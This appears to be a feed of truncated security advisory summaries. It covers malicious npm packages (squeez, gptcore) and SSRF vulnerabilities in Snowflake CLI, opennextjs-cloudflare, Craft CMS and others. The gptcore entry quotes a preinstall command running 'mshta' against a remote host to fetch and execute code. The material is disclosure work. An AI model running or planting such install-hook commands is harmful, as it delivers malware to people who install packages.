MAL-2026-13458 Malicious code in squeez (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a953148095c35441147f1622c4810e0b946e5d120a74cfbe14f1771276a731d7 [email protected] declares a postinstall hook "postinstall": "node install.js" that runs automatically on npm install. install.js imports childprocess, f...

Malicious code in squeez (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a953148095c35441147f1622c4810e0b946e5d120a74cfbe14f1771276a731d7 [email protected] declares a postinstall hook "postinstall": "node install.js" that runs automatically on npm install. install.js imports childprocess, f...

Malicious code in gptcore (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895 [email protected] declares a preinstall lifecycle script that runs exec'cmd /c "mshta http://fixars.top"' in preinstall.js. On Windows, this fires...

CVE-2026-13751 Snowflake CLI Server-Side Request Forgery via Arbitrary URL Fetch in !source/!load

Improper handling of untrusted remote references in Snowflake CLI versions prior to 3.19 allowed server-side request forgery. The SQL statement reader's !source/!load directives could reference remote URLs that were retrieved at runtime without sufficient restriction on the request destination. B...

opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass

A Server-Side Request Forgery SSRF vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler. The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In...

GHSA-C7MQ-GH6Q-6Q7C opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass

A Server-Side Request Forgery SSRF vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler. The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In...

CVE-2025-15486

CVE-2025-15486 concerns the WordPress Kunze Law plugin (versions

CVE-2025-68437

Craft is a platform for creating digital experiences. In versions 5.0.0-RC1 through 5.8.20 and 4.0.0-RC1 through 4.16.16, the Craft CMS GraphQL saveAsset mutation is vulnerable to Server-Side Request Forgery SSRF. This vulnerability arises because the file input, specifically its url parameter,...

PT-2025-39896

Name of the Vulnerable Software and Affected Versions Vasion Print formerly PrinterLogic Virtual Appliance Host versions prior to 25.1.102 Vasion Print formerly PrinterLogic Application versions prior to 25.1.1413 Description A protection mechanism failure exists in the file get contents function...